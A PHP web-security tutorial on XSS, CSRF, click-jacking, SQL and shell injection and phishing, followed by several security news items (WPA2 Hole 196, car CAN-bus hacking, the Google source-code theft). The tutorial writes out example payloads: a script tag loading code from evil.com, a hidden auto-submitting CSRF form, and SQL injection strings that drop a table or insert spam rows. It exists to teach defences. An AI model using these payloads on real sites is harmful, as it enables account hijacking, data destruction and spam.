There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.

We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.

1. Cross-site scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.

Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

<?php
  echo "$user said $message";
?>

To read the message in from the user, we’d have code like this:

<?php
  $user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

Hi there...<script src="h++p://evil.com/bad-script.js"></script>

(Note that I’ve changed http to h++p to prevent auto-linking of the URL).

When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.

This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.

We can change our PHP code to the following:

<?php
  $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.

Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.

PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.

If a site is open to XSS attacks, then its users’ data is not safe.

2. Cross-site request forgery (CSRF)

A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.

Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;">

Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.

Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:

<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>

Which will POST the form back to www.mybiz.com.

The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.

There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code. A simple nonce may be generated like this:

<?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}
?>

The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.

An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

<?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}
?>

We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.

<?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally
?>

This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.

If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.

3. Click-jacking

While not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.

Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the attacker includes our website in an iframe on their own website. The attacker doesn’t have control over our page, but they do control the iframe element. They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse. This was the technique used on the Facebook Like button click-jack attack.

Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof. For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways to prevent frame busting in Firefox as well.

A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so. In our example above, we’d have code like this:

<input type="text" name="message" value="<?php echo $message ?>">
<input id="msg_btn" type="submit" disabled="true">
<script type="text/javascript">
if(top == self) {
   document.getElementById("msg_btn").disabled=false;
}
</script>

This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window. Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.

4. SQL injection

In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server. XKCD has a humorous take on SQL injection:

Full image (from xkcd)

Let’s go back to the example we have above. In particular, let’s look at the save_message() function.

<?php
function save_message($user, $message)
{
  $sql = "INSERT INTO Messages (
            user, message
          ) VALUES (
            '$user', '$message'
          )";

  return mysql_query($sql);
}
?>

The function is oversimplified here, but it exemplifies the problem. The attacker could enter something like

test');DROP TABLE Messages;--

When this gets passed to the database, it could end up dropping the Messages table, causing you and your users a lot of grief. This kind of an attack calls attention to the attacker, but little else. It’s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users. Consider this message instead:

test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...

Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts. The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.

Fortunately, we can use prepared statements to get around this problem. In PHP, the PDO abstraction layer makes it easy to use prepared statements even if your database itself doesn’t support them. We could change our code to use PDO.

<?php
function save_message($user, $message)
{
  // $dbh is a global database handle
  global $dbh;

  $stmt = $dbh->prepare('
                     INSERT INTO Messages (
                          user, message
                     ) VALUES (
                          ?, ?
                     )');
  return $stmt->execute(array($user, $message));
}
?>

This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.

There are cases where it’s hard to use prepared statements. For example, if you have a list of values in an IN clause. However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.

5. Shell injection

Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server. Once they have shell access, they could potentially do a lot more. Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.

Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system(), exec() or `` commands. There may be more functions depending on the language you use when building your web app.

The solution is the same for XSS attacks. You need to validate and sanitize all user inputs appropriately for where it will be used. For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag. For data that gets passed to the shell, we use the escapeshellcmd() and escapeshellarg() functions. It’s also a good idea to validate the input to make sure it only contains a whitelist of characters. Always use a whitelist instead of a blacklist. Attackers find inventive ways of getting around a blacklist.

If an attacker can gain shell access to your box, all bets are off. You may need to wipe everything off that box and reimage it. If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used. This could prove quite costly for your organization.

6. Phishing

Phishing is the process where an attacker tricks your users into handing over their login credentials. The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar. Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site. The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.

1. Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.
2. Use one and only one URL for user log in, and make it short and easy to recognize. For our example website, we could use https://login.mybiz.com as our login URL. It’s important that when the user sees a login form for our website, they also see this URL in the URL bar. That trains users to be suspicious of login forms on other URLs
3. Do not allow partners to ask your users for their credentials on your site. Instead, if partners need to pull user data from your site, provide them with an OAuth based API. This is also known as the Password Anti-Pattern.
4. Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!). This is an image that the user selects on your website, that only the user and your website know about. When the user sees this image on the login page, they know that this is the right page. Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.

If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.

Summary

While we’ve covered a lot in this article, it still only skims the surface of web application security. Any developer interested in building truly secure applications has to be on top of their game at all times. Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in. Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.

Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.

Further reading

1. OWASP Top 10 security risks
2. XSS
3. CSRF
4. Phishing
5. Code injection
6. PHP’s input filters
7. Password anti-pattern
8. OAuth
9. Facebook Like button click-jacking
10. Anti-anti frame-busting
11. The Yahoo! Security Center also has articles on how users can protect themselves online.

Link

Malicious insiders can exploit the vulnerability, named “Hole 196″ by the researcher who discovered it at wireless security company AirTight Networks. The moniker refers to the page of the IEEE 802.11 Standard (Revision, 2007) on which the vulnerability is buried.

Hole 196 lends itself to man-in-the-middle-style exploits, whereby an internal, authorized Wi-Fi user can decrypt, over the air, the private data of others, inject malicious traffic into the network and compromise other authorized devices using open source software, according to AirTight.

The researcher who discovered Hole 196, Md Sohail Ahmad, AirTight technology manager, intends to demonstrate it at two conferences taking place in Las Vegas next week: Black Hat Arsenal and DEF CON 18.

The Advanced Encryption Standard (AES) derivative on which WPA2 is based has not been cracked and no brute force is required to exploit the vulnerability, Ahmad says. Rather, a stipulation in the standard that allows all clients to receive broadcast traffic from an access point (AP) using a common shared key creates the vulnerability when an authorized user uses the common key in reverse and sends spoofed packets encrypted using the shared group key.

Ahmad explains it this way:

WPA2 uses two types of keys: 1) Pairwise Transient Key (PTK), which is unique to each client, for protecting unicast traffic; and 2) Group Temporal Key (GTK) to protect broadcast data sent to multiple clients in a network. PTKs can detect address spoofing and data forgery. “GTKs do not have this property,” according to page 196 of the IEEE 802.11 standard.

These six words comprise the loophole, Ahmad says.

Because a client has the GTK protocol for receiving broadcast traffic, the user of that client device could exploit GTK to create its own broadcast packet. From there, clients will respond to the sending MAC address with their own private key information.

Ahmad says it took about 10 lines of code in open source MadWiFi driver software, freely available on the Internet, and an off-the-shelf client card for him to spoof the MAC address of the AP, pretending to be the gateway for sending out traffic. Clients who receive the message see the client as the gateway and “respond with PTKs”, which are private and which the insider can decrypt, Ahmad explains.

From there, “the malicious insider could drop traffic, drop a [denial-of-service] attack, or snoop,” Ahmad says.

The ability to exploit the vulnerability is limited to authorized users, AirTight says. Still, year-after-year security studies show that insider security breaches continue to be the biggest source of loss to businesses, whether from disgruntled employees or spies who steal and sell confidential data.

What can we do about Hole 196?

“There’s nothing in the standard to upgrade to in order to patch or fix the hole,” says Kaustubh Phanse, AirTight’s wireless architect who describes Hole 196 as a “zero-day vulnerability that creates a window of opportunity” for exploitation.

Link

They succeeded.

It took a couple of weeks though. Employees supposedly got in via his home WiFi network, says our source. The details aren’t entirely clear, and Facebook isn’t talking. What I’ve heard is that they were able to intercept data from his home network after capturing his WPA password by luring him into logging into a rogue WiFi SSID that appeared to be his own router. See here for some details on how easy this is to do.

Once his home network fell, the Facebook employees were able to monitor all his Internet activity and obtain clear text passwords, etc.

The Twitter hacks last year began with compromised personal email accounts and unfolded from there.

It’s absolutely a smart thing for Facebook to do this, and other companies should too. But if a security engineer at Facebook was compromised, even though he knew it was coming, imagine how trivial it would be for other people to get hit, too.

Now excuse me while I go camp out in Mark Zuckerberg’s back yard for a week or two and try to set up a rogue WiFi SSID. Wish me luck.

Update: Facebook engineer Pedram Keyani, who was behind the challenge, has responded in the comments. He says that the challenge actually demonstrates how secure Facebook is — while the team could access his account, they were unable to compromise Facebook’s administrative/corporate systems.

I’m the engineer who made the challenge and I want to clear up some
misunderstandings. First, we perform tests on the integrity and security of
our site all the time. Second, in this particular case, the challenge
demonstrated the effectiveness of Facebook’s security systems, not the
opposite, Despite months of work and hundreds of hours of effort by a team
of specialized security engineers, the team was NOT able to access
Facebook’s administrative or corporate systems. While they were able to
access my personal Facebook account, they were not able to use this
information to access any other account on Facebook. Finally, challenges
like this are a great way for us to apply our best thinking and skills to
identify risks to our systems. We think our efforts should give users
greater confidence in Facebook and its administrative systems, not less.

Link

Firefox users worried about Internet eavesdropping are being offered a new way to encrypt their interaction with a range of popular websites, including Facebook and Twitter.

Called HTTPS Everywhere, the free add-on is the result of a collaboration between the Electronic Frontier Foundation (EFF) and the Tor Project.

Sites with which the software works include Google, Wikipedia, Twitter, Facebook, Paypal, as well as content sites such as The new York Times, The Washington Post, and the EFF and Tor.

Based on the Strict Transport Security (STS) evangelised by the team behind the popular security add-on Noscript, the HTTPS mode is identified with a padlock icon. It is also possible to write custom rulesets for others sites, say the creators.

In May, Google itself started offering https search through the https:www.google.com link, which uses a similar concept, but only works for searches through that domain. The latest development, which builds on the fact that many sites offer some SSL connectivity but don’t default to it, appears to have been inspired by Google’s initiative.

The security does have some limitations.

“As always, even if you’re at an https page, remember that unless Firefox displays a colored address bar and an unbroken lock icon in the bottom-right corner, the page is not completely encrypted and you may still be vulnerable to various forms of eavesdropping or hacking,” warns the EFF.

Link

Link

In a paper set to be presented at a security conference in Oakland, California, next week, the security researchers say that by connecting to a standard diagnostic computer port included in late-model cars, they were able to do some nasty things, such as turning off the brakes, changing the speedometer reading, blasting hot air or music on the radio, and locking passengers in the car.

In a late 2009 demonstration at a decommissioned airfield in Blaine Washington, they hacked into a test car’s electronic braking system and prevented a test driver from braking a moving car — no matter how hard he pressed on the brakes. In other tests, they were able to kill the engine, falsify the speedometer reading, and automatically lock the car’s brakes unevenly, a maneuver that could destabilize the car traveling high speeds. They ran their test by plugging a laptop into the car’s diagnostic system and then controlling that computer wirelessly, from a laptop in a vehicle riding next to the car.

The point of the research isn’t to scare a nation of drivers, already made nervous by stories of software glitches, faulty brakes and massive automotive recalls. It’s to warn the car industry that it needs to keep security in mind as it develops more sophisticated automotive computer systems.

“We think this is an industry issue,” said Stefan Savage, an associate professor with the University of California, San Diego.

He and co-researcher Tadayoshi Kohno of the University of Washington, describe the real-world risk of any of the attacks they’ve worked out as extremely low. An attacker would have to have sophisticated programming abilities and also be able to physically mount some sort of computer on the victim’s car to gain access to the embedded systems. But as they look at all of the wireless and Internet-enabled systems the auto industry is dreaming up for tomorrow’s cars, they see some serious areas for concern.

“If there’s no action taken on the part of all the relevant stakeholders, then I think there might be a reason to be concerned,” Kohno said. Neither he nor Savage would name the maker of the car they conducted their tests on. They don’t want to single out any one auto-maker, they said.

That probably comes as a relief to whomever made the car the researchers probed, as they found it pretty easy to hack.

“In starting this project we expected to spend significant effort reverse-engineering, with non-trivial effort to identify and exploit each subtle vulnerability,” they write in their paper. “However, we found existing automotive systems—at least those we tested—to be tremendously fragile.”

To hack the cars, they needed to learn about the Controller Area Network (CAN) system, mandated as a diagnostic tool for all U.S. cars built, starting in 2008. They developed a program called CarShark that listens in on CAN traffic as it’s sent about the onboard network, and then built ways to add their own network packets.

Step-by-step, they figured out how to take over computer-controlled car systems: the radio, instrument panel, engine, brakes, heating and air conditioning, and even the body controller system, used to pop the trunk, open windows, lock doors and toot the horn.

They developed a lot of attacks using a technique called “fuzzing” — where they simply spit a large number of random packets at a component and see what happens.

“The computer control is essential to a lot of the safety features that we depend on,” Savage said. “When you expose those same computers to an attack, you can have very surprising results, such as you put your foot down on a brake pedal and it doesn’t stop.”

Another discovery: although industry standards say that onboard systems are supposed to be protected against unauthorized firmware updates, the researchers found that they could change the firmware on some systems without any sort of authentication.

In one attack that the researchers call “Self-destruct” they launch a 60 second countdown on the driver’s dashboard that’s accompanied by a clicking noise, and then finally warning honks in the final seconds. As the time hits zero, the car’s engine is killed and the doors are locked. This attack takes less than 200 lines of code — most of it devoted to keeping time during the countdown.

Hacking a car isn’t for the faint-hearted. At several points the team worried it might have come close to permanently damaging the two identical-make cars it experimented with, but that never happened, Kohno said. “You really don’t want software to accidentally change critical parts of the transmission,” he said.

Link

The single sign-on password system, which Google referred to internally as “Gaia,” allows users to log into a constellation of services the company offers — Gmail, search, business applications and others — using one password.

The hackers, who are still unknown, were able to steal the code after gaining access to the company’s software repository, which stores the crown jewels for its search engine and other programs.

Because the hackers grabbed the software, and do not appear to have grabbed customer passwords, users aren’t directly affected by the theft. But the hackers could study the software for security vulnerabilities to devise ways to breach the system that could later affect users.

Google announced in January that it and numerous other companies had been hacked in a sophisticated attack. The hackers had targeted source code repositories at many of the companies, including Google.

According to the Times, the theft began when an instant message was sent to a Google employee in China who was using Windows Messenger. The message included a link to a malicious website. Once the employee clicked on the link, the intruders were able to gain access to the employee’s computer and from there to computers used by software developers at Google’s headquarters in California.

The intruders seemed to know the names of the Gaia software developers, according to the Times. The intruders had access to an internal Google corporate directory known as Moma, which lists the work activities of every Google employee.

They initially tried to access the programmer’s work computers and “then used a set of sophisticated techniques to gain access to the repositories where the source code for the program was stored.”

The Times doesn’t elaborate on the set of sophisticated techniques the hackers used to access the source code, but in March, security firm McAfee released a white paper in relation to the Google hack that describes serious security vulnerabilities it found in software configuration management systems (SCMs) used by companies that were targeted in the hacks.

“[The SCMs] were wide open,” Dmitri Alperovitch, McAfee’s vice president for threat research told Threat Level at the time. “No one ever thought about securing them, yet these were the crown jewels of most of these companies in many ways — much more valuable than any financial or personally identifiable data that they may have and spend so much time and effort protecting.”

Many of the companies that were attacked used the same source-code management system made by Perforce, a California-based company, according to McAfee. The paper didn’t indicate, however, whether Google used Perforce or had another system in place with vulnerabilities.

According to McAfee’s earlier report, the malicious website the hackers used in the Google hack was hosted in Taiwan. Once the victim clicked on a link to the site, the site downloaded and executed a malicious JavaScript, with a zero-day exploit that attacked a vulnerability in the user’s Internet Explorer browser.

A binary disguised as a JPEG file then downloaded to the user’s system and opened a backdoor onto the computer and set up a connection to the attackers’ command-and-control servers, also hosted in Taiwan.

From that initial access point, the attackers obtained access to the source-code management system or burrowed deeper into the corporate network to gain a persistent hold.

According to the paper, the hackers were successful at accessing source code because many SCMs are not secured out of the box and do not maintain sufficient logs to help forensic investigators examining an attack.

“Additionally, due to the open nature of most SCM systems today, much of the source code it is built to protect can be copied and managed on the endpoint developer system,” the white paper states. “It is quite common to have developers copy source code files to their local systems, edit them locally, and then check them back into the source code tree…. As a result, attackers often don’t even need to target and hack the backend SCM systems; they can simply target the individual developer systems to harvest large amounts of source code rather quickly.”

Alperovitch told Threat Level his company had seen no evidence to indicate that source code at any of the hacked companies had been altered.

Link

As the chart below shows, for many professionals the role of security in IT is now seen to be a fundamental part of delivering day to day IT service to users, wherever they are, whenever they need service and using whatever device is best suited to the task.

It is no longer a separate entity that only succeeds in adding complexity to an already difficult occupation. But as IT and networking technologies become more complex and as business demands for service flexibility grow is it time for IT professionals to rethink security?

A major challenge for everyone is keeping up with just how quickly the “security” landscape is changing. We know that the traditional drivers for raising the security bar, namely external regulation, concerns over “privacy” and the protection of corporate data along with increasing amounts of legislation still constitute a considerable challenge for many organisations. While these are matters of concern it has to be recognised that they amount to “known”, definable challenges.

These are now being supplemented by a raft of new security worries as user behaviour alters, especially around the use of mobile devices and equipment acquired outside of the standard procedures. There is also the social side of the behaviour equation.

We know from prior research that the ‘official’ use of social media is slowly taking off inside business processes. But Reg readers also tell us that the ‘unofficial’ use of social media tools is a bigger part of daily business life. With people becoming ever more cavalier about sharing information, especially younger workers who have grown up putting their life’s story on the Web, just how is the “security landscape” changing in your business?

Are there any new service areas, such as Unified Communications, instant messaging, screen sharing, Webinar services or other social media sites which you think will have a major impact on how you should treat security? Equally, do you think that they will lead to modifications in your security policies, and if so, when?

In most organisations security is still about securing computers, be they servers, desktops or laptops. But we know that the emphasis should really be on the services that users access rather than the details of the machine they sit at. So if security emphasis is still centred on computers, what about all the other stuff: services, data, information, interactions and virtual relationships?

This naturally raises the question of how to integrate security across systems where you do not have direct control. These include the use of external service providers, social cloud-based systems and collaboration solutions and even the personal devices employees use every day in their business processes. Do you still have a good idea of just what you are trying to secure?

As new threats and behaviours emerge, needing different solutions to secure systems without putting security barriers in the way of operations, it’s likely that identity management and access control systems and protection, encryption and key management tools will grow in importance. The challenge is to make them effective without generating end-user resistance and avoidance. Perhaps the real issue is a need to raise the awareness of corporate security responsibility that every member of staff has. But how realistic is this when it is difficult enough to get them to remember their password without resorting to writing it down on a post-it note?

It is clearly hard to keep so many factors in focus, especially when the business demands more from IT every day without adding in the additional skilled manpower resources to lighten the load. We would like to know if you have found workable policies, procedures and tools that let you secure the ever-expanding range of information, interactions, processes and the social networking environments commonly accessed every day. Have you been asked to change the behaviours of your users? If you have succeeded please let us know how. ®

Link

The security giant said on Thursday that it would pay $300 million for privately held PGP Corp and $70 million for GuardianEdge as it expands its line of security offerings that currently includes anti-virus software and data loss prevention programs.

“These acquisitions help fill product holes that should enable the company to gain further inroads with large enterprises, SMBs and government agencies,” FBR Capital Markets analyst Daniel Ives said in a note to clients.

Symantec’s chief rival, McAfee Inc (MFE.N), entered the encryption market in 2007 with its purchase of SafeBoot.

Demand for technology to encrypt, or scramble, data on computers, mobile devices and storage equipment is growing rapidly as governments are tightening regulations to protect confidential customer data.

Symantec said that the acquisitions would hurt profit, excluding items, in the fiscal year that ends in March 2011 by 2 cents per share, but add to earnings in the following year.

PGP posted revenue of $75 million in the year to March 31, while Guardian edge had revenue of $18 million. (Reporting by Jim Finkle, editing by Matthew Lewis)

Link

A computer security researcher has released a plugin for Firefox that provides a wealth of data on Web sites that may have been compromised with malicious code.

The plugin, called Fireshark, was released on Wednesday at the Black Hat conference. The open-source free tool is designed to address the shortcomings in other programs used to analyze malicious Web sites, said Stephan Chenette, a principal security researcher at Websense, which lets Chenette develop Fireshark in the course of his job.

Hackers often target legitimate Web sites with code that can either infect a machine with malicious software or redirect a user to a bad Web page.

Websense specializes in detecting Web pages that have been infected, as many site administrators don’t know that their sites are harmful to visitors or have difficulty reverse-engineering malicious code. Fireshark will “show you the exact details of a mass compromise,” Chenette said.

Over the last 12 months, the number of newly compromised Web sites has increased about 225 percent, Chenette said.

“That means attackers are controlling more content that ever before that is being fed to users.”

Fireshark must be run in a virtual machine in order to prevent an infection. Users can input a list of Web sites for investigation. Fireshark then exposes the Web sites’ code.

That harmful code is often obfuscated, so it is difficult to tell what it actually does, Chenette said. But the obfuscated code has to run in the browser in order to work. Fireshark exposes the code, which normally can’t be viewed, when it runs in the browser’s memory.

“I became frustrated at the publicly available tools,” Chenette said. “I heard the outcry from the community that there are not the correct tools to reverse the obfuscated content.”

Once the code has been exposed, it’s then possible to do more investigation and see if other Web sites are affected, Chenette said. Fireshark will show vulnerabilties and exploits on Web sites.

Many Web sites will be infected with code that either delivers malware or redirects users to bad Web sites. The tools also generate maps of those redirections, which can give clues as to who may be behind the attacks.

Fireshark collects the data in a “.yml” file, which is similar to an XML file, Chenette said. The “.yml” file can then be integrated into other security analysis tools, Chenette said. The data that Fireshark collects is all held locally, and none of it is shared with Websense.

Fireshark is available to download.

Link